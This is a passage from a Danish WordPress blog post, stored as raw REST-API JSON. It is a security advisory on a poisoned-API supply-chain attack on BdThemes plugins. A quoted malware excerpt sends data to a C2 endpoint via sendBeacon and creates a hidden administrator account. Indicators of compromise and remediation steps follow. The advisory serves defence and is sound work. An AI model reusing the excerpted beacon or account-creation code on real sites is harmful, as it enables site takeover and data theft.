2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki github-dark\" style=\"background-color:#24292e;color:#e1e4e8\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color:#6A737D\">\/\/ Resultater blev sendt som formdata; fetch var reservevej.<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">navigator.<\/span><span style=\"color:#B392F0\">sendBeacon<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#79B8FF\">C<\/span><span style=\"color:#E1E4E8\">, <\/span><span style=\"color:#F97583\">new<\/span><span style=\"color:#B392F0\"> Blob<\/span><span style=\"color:#E1E4E8\">([queryString], {<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">  type: <\/span><span style=\"color:#9ECBFF\">\"application\/x-www-form-urlencoded\"<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">}));<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color:#6A737D\">\/\/ Den oprettede konto fik administratorrollen.<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">var<\/span><span style=\"color:#E1E4E8\"> body <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#9ECBFF\"> \"action=createuser&#x26;_wpnonce_create-user=\"<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#E1E4E8\"> nonce <\/span><span style=\"color:#F97583\">+<\/span><\/span>\n<span class=\"line\"><span style=\"color:#9ECBFF\">  \"&#x26;user_login=\"<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#E1E4E8\"> user <\/span><span style=\"color:#F97583\">+<\/span><\/span>\n<span class=\"line\"><span style=\"color:#9ECBFF\">  \"&#x26;email=\"<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#E1E4E8\"> user <\/span><span style=\"color:#F97583\">+<\/span><span style=\"color:#9ECBFF\"> \"%40wordpress.org\"<\/span><span style=\"color:#F97583\"> +<\/span><\/span>\n<span class=\"line\"><span style=\"color:#9ECBFF\">  \"&#x26;pass1=\"<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#B392F0\"> encodeURIComponent<\/span><span style=\"color:#E1E4E8\">(pass) <\/span><span style=\"color:#F97583\">+<\/span><\/span>\n<span class=\"line\"><span style=\"color:#9ECBFF\">  \"&#x26;pass2=\"<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#B392F0\"> encodeURIComponent<\/span><span style=\"color:#E1E4E8\">(pass) <\/span><span style=\"color:#F97583\">+<\/span><\/span>\n<span class=\"line\"><span style=\"color:#9ECBFF\">  \"&#x26;role=administrator&#x26;createuser=Add+New+User\"<\/span><span style=\"color:#E1E4E8\">;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Omfang og formodet sammenh\u00e6ng<\/h2>\n\n\n\n<p>C2-dom\u00e6net er knyttet til de samme trusselsakt\u00f8rer som de nylige supply chain-angreb mod <a href=\"https:\/\/www.wordfence.com\/blog\/2026\/07\/wordfence-prism-detected-backdoored-wordpress-plugin-within-two-hours-of-it-being-introduced\/\">Advanced Responsive Video Embedder<\/a> og <a href=\"https:\/\/optinmonster.com\/security-incident-tampered-script-served-via-optinmonster-and-trustpulse\/#what-to-check-and-do\">OptinMonster<\/a>. Kampagnens m\u00e5l var bred, skjult administratorpersistens og fjernudf\u00f8relse af kode p\u00e5 millioner af WordPress-milj\u00f8er.<\/p>\n\n\n\n<p>Angrebet kr\u00e6vede ikke adgang til de enkelte websites. Det var nok at forgifte leverand\u00f8rens bannerfeed og udnytte fejlen i den kode, der viste banneret. At b\u00e5de de skadelige JSON-records og <code>x.js<\/code> blev uploadet til leverand\u00f8rens egen bucket, peger p\u00e5 et alvorligt kompromis af BdThemes&#8217; cloud storage-oplysninger eller interne infrastruktur.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Indikatorer p\u00e5 kompromittering<\/h2>\n\n\n\n<p>Gennemg\u00e5 installationen for f\u00f8lgende netv\u00e6rks-, filsystem- og databaseindikatorer. De to ber\u00f8rte API-endpoints er siden blevet renset, men de skal fortsat indg\u00e5 i historiske logs og telemetry.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Eksterne ressourcer<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n\n<li>Prim\u00e6r payload: <code>ia-cdn[.]com\/fz\/w2.js<\/code><\/li>\n\n\n<li>C2 beacon-endpoint: <code>ia-cdn[.]com\/fz\/c<\/code><\/li>\n\n\n<li>Forgiftet API-endpoint: <code>api[.]sigmative[.]io\/prod\/store\/api\/biggopti\/api-data-all-records<\/code><\/li>\n\n\n<li>Forgiftet API-endpoint: <code>api[.]sigmative[.]io\/prod\/store\/api\/biggopti\/api-data-records<\/code><\/li>\n\n\n<li>Sekund\u00e6r payload: <code>api[.]sigmative[.]io\/prod\/store\/api\/biggopti\/x.js<\/code><\/li>\n\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Filer, database og brugere<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n\n<li>Webshell: <code>emer-run.php<\/code> &#8211; MD5: <code>1024732009983dd5e54b4cf5593f04d4<\/code><\/li>\n\n\n<li>MU-plugin til magic login: <code>class-wp-token-validate.php<\/code> &#8211; MD5: <code>7719cd98a35ffad2771f26d1ceab7d27<\/code><\/li>\n\n\n<li>MU-plugin til stealth: <code>class-wp-query-9d127ff3.php<\/code> eller lignende navne efter m\u00f8nstret <code>class-wp-query-*.php<\/code> &#8211; MD5: <code>9aadc3e5c5242b273bd17c5bdc358845<\/code><\/li>\n\n\n<li>MU-plugin med betegnelsen Health Check: <code>wp-cache-optimizer.php<\/code> &#8211; MD5: <code>e450ae5bc4bfc0d960dded06a76bb8e9<\/code><\/li>\n\n\n<li>Databaseoptionen <code>fz_emer_login_tokens<\/code>, som gemmer magic-login-tokens<\/li>\n\n\n<li>Databaseoptionen <code>fz_emer_done_v1<\/code>, som markerer et fuldf\u00f8rt kompromis<\/li>\n\n\n<li>Konti med e-maildom\u00e6nerne <code>@wordpress.org<\/code> eller <code>@developer.wordpress.org<\/code><\/li>\n\n\n<li>Brugernavne, der matcher <code>bd_<\/code> efterfulgt af seks alfanumeriske tegn<\/li>\n\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Tidslinje<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n\n<li><strong>1. marts 2026:<\/strong> Biggopti API-JavaScript blev tilf\u00f8jet til Prime Slider <code>4.1.9<\/code> i SVN-revision <code>r3471891<\/code>. <code>display_id<\/code> blev sat uescaped i en <code>id<\/code>-attribut, og API&#8217;et brugte <code>api-data-records<\/code>.<\/li>\n\n\n<li><strong>10. maj 2026:<\/strong> Endpointet skiftede til <code>api-data-all-records<\/code>. En DOMParser-sanitizer kom til indholdsfeltet, men <code>id<\/code>-attributten var fortsat uescaped.<\/li>\n\n\n<li><strong>23. juni 2026:<\/strong> <code>start_date<\/code> i den forgiftede API-kampagne angav en Summer Sale-notice. Det er den tidligst mulige dato, hvor XSS kunne have v\u00e6ret aktiv.<\/li>\n\n\n<li><strong>6. august 2026 kl. 22.40 UTC:<\/strong> Seneste <code>Last-Modified<\/code> p\u00e5 det forgiftede <code>api-data-records<\/code>.<\/li>\n\n\n<li><strong>7. august 2026 kl. 09.11 UTC:<\/strong> Seneste <code>Last-Modified<\/code> p\u00e5 det forgiftede <code>api-data-all-records<\/code>.<\/li>\n\n\n<li><strong>7. august 2026:<\/strong> Angrebet blev observeret i aktiv brug, og sagen blev meldt ind.<\/li>\n\n\n<li><strong>7. august 2026:<\/strong> Plugins blev lukket i WordPress&#8217; plugin-bibliotek, mens de afventer gennemgang.<\/li>\n\n\n<li><strong>7. august 2026 kl. 16.56 UTC:<\/strong> Analyseartefakter blev indsamlet.<\/li>\n\n\n<li><strong>8. august 2026:<\/strong> Begge API-endpoints returnerede igen ren JSON.<\/li>\n\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Det skal du g\u00f8re nu<\/h2>\n\n\n\n<p>Har sitet et af de ber\u00f8rte BdThemes-plugins, skal du f\u00f8rst gennemg\u00e5 alle brugerkonti, is\u00e6r <code>bd_<\/code>-konti og adresser p\u00e5 de n\u00e6vnte e-maildom\u00e6ner. Unders\u00f8g derefter plugin-mapperne, MU-plugin-mappen og optionstabellen for samtlige indikatorer, og kontroll\u00e9r historiske foresp\u00f8rgsler mod de anf\u00f8rte dom\u00e6ner.<\/p>\n\n\n\n<p>Wordfence Premium, Care, Response og betalte Wordfence CLI-kunder modtog malware-signaturer og WAF-regler til at opdage kompromisset 7. august 2026. Gratis Wordfence- og Wordfence CLI-brugere modtager if\u00f8lge den normale forsinkelse de samme signaturer og regler 30 dage senere.<\/p>\n\n\n<div class=\"references-section\">\n                <h2>Referencer \/ Kilder<\/h2>\n                <ul class=\"references-list\"><li><a href=\"https:\/\/www.wordfence.com\/blog\/2026\/08\/psa-supply-chain-compromise-in-bdthemes-ecosystem-via-poisoned-api-response\/\" target=\"_blank\" rel=\"noopener noreferrer\">PSA: Supply Chain Compromise in BdThemes Ecosystem via Poisoned API Response<\/a><\/li><\/ul>\n            <\/div>","protected":false},"excerpt":{"rendered":"<p>Et manipuleret bannerfeed kunne skabe skjulte administratorer og installere webshells p\u00e5 WordPress-sites. Se pr\u00e6cis hvilke BdThemes-plugins, filer, konti og databaseoptioner du skal unders\u00f8ge.<\/p>\n","protected":false},"author":64,"featured_media":258,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[12,11,130,10,120],"class_list":["post-259","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sikkerhed","tag-plugins","tag-sikkerhed","tag-supply-chain","tag-wordpress","tag-xss"],"_links":{"self":[{"href":"https:\/\/helloblog.io\/da\/wp-json\/wp\/v2\/posts\/259","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helloblog.io\/da\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helloblog.io\/da\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helloblog.io\/da\/wp-json\/wp\/v2\/users\/64"}],"replies":[{"embeddable":true,"href":"https:\/\/helloblog.io\/da\/wp-json\/wp\/v2\/comments?post=259"}],"version-history":[{"count":0,"href":"https:\/\/helloblog.io\/da\/wp-json\/wp\/v2\/posts\/259\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/helloblog.io\/da\/wp-json\/wp\/v2\/media\/258"}],"wp:attachment":[{"href":"https:\/\/helloblog.io\/da\/wp-json\/wp\/v2\/media?parent=259"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helloblog.io\/da\/wp-json\/wp\/v2\/categories?post=259"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helloblog.io\/da\/wp-json\/wp\/v2\/tags?post=259"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}